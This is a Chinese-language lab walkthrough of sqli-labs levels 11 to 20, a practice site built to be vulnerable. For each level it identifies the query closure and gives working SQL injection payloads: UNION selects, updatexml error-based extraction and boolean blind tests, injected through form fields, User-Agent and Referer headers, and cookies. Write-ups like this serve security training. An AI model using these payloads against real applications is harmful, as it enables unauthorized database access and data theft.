sqli-labs-Less-11-Less20
-
前言
做到这里的同学对前十题的注入步骤都应该了解了吧,下文步骤和前文Less1-10的差不多,所以本文主要讲述闭合和前文不一样的地方,完整过程记得自己重新操作一遍哦。
- Less-11
输入1不报错 输入1'报错 MySQL server version for the right syntax to use near 'c ' LIMIT 0,1' at line 1 闭合为' 注入参考前文联合注入union uname=1' union select 1,database()-- - &passwd=c &submit=Submit
-
Less-12
输入“报错 MySQL server version for the right syntax to use near 'c ") LIMIT 0,1' at line 1 可以看出闭合为") 参考联合注入union uname=1") union select 1,database()-- - &passwd=c &submit=Submit
-
Less-13
输入'报错 MySQL server version for the right syntax to use near 'c ') LIMIT 0,1' at line 闭合为') 但是使用order by可以求出显示位,使用select不能显示数据库 所以参考报错注入updatexml uname=-1') or updatexml(1,concat(0x7e,database()),0)-- - &passwd=c &submit=Submit
-
Less-14
输入"报错 MySQL server version for the right syntax to use near 'c " LIMIT 0,1' at line 1 闭合为" 参考报错注入updatexml() uname=-1" or updatexml(1,concat(0x7e,database()),0)-- - &passwd=c &submit=Submit
-
Less-15
输入' " )页面都不变化 这里选择布尔盲注 利用length()和ascii()来获取信息 输入1' or 1=1 -- -成功进入 输入1’ or length(database())=8-- -登录成功 详细步骤见布尔注入
-
Less-16
输入")登录成功 闭合为”) 判断数据库长度 uname=1") or length(database())=8-- - &passwd=c &submit=Submit 详细步骤见布尔注入
-
Less-17
根据提示 [PASSWORD RESET] Dhakkan 判断是密码重置,输入用户名Dhakkan uname=Dhakkan&passwd=1 &submit=Submit显示登录成功 uname=Dhakkan&passwd=1' &submit=Submit加一个单引号报错 MySQL server version for the right syntax to use near 'dhakkan'' at line 1 闭合为' uname=Dhakkan&passwd=1' or updatexml(1,concat(0x7e,database()),0)-- - &submit=Submit 成功显示数据库 详细步骤见报错注入updatexml()
-
Less-18
这道题目是http header型sql注入 输入Dhakkan和密码显示成功登录并且还有IP和完整的User Agent的信息的信息 更改User-Agent:1' 错误信息:at corresponds to your MySQL serverversion for the right syntax to use near '127.0.0.1','Dhakkan')' at line 1 可见插入语句是将UA字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数(看逗号个数,之前的1没有显示出来),所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。 构造playload:1',2,3)-- - 成功显示 在参数3位置进行报错注入,详情见前文报错注入,httpheader型在pkahcu靶场也有一道类似的,只不过这个有三个参数 User-Agent:1',2,updatexml(1,concat(0x7e,database()),1))-- -
-
Less-19
输入账号密码见数据库user表 页面回显 Your Referer is: http://127.0.0.1/sqli-labs/Less-19/ 更改Referer:1'报错 MySQL server version for the right syntax to use near '127.0.0.1')' at line 1 闭合为')其中)在最后,前面的1和后面的127.0.0.1组成两个参数,所以构造playload时要用逗号隔开 Referer:1',updatexml (1,concat(0x7e,database()),1))-- - 使用报错注入,详情见updatexml()
-
Less-20
这一关是cooki注入,cookie注入跟普通sql注入过程一样:输入账号密码回显
![]()
抓包更改Cookie
Cookie: uname=1'; PHPSESSID=jmp50d2hi5ag0jftqvtc3c3u30
页面回显,闭合为'
MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
使用uname=1' and updatexml(1,concat(0x7e,database()),1)-- -
使用报错注入,见updatexml()
tips:
方法不止一种,大家可以尝试不同的方法
关于为什么是这样的闭合,为什么注入点可以是http header referer Cookie在代码审计的时候就会明白
例如:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$cookee = $row1['username'];等等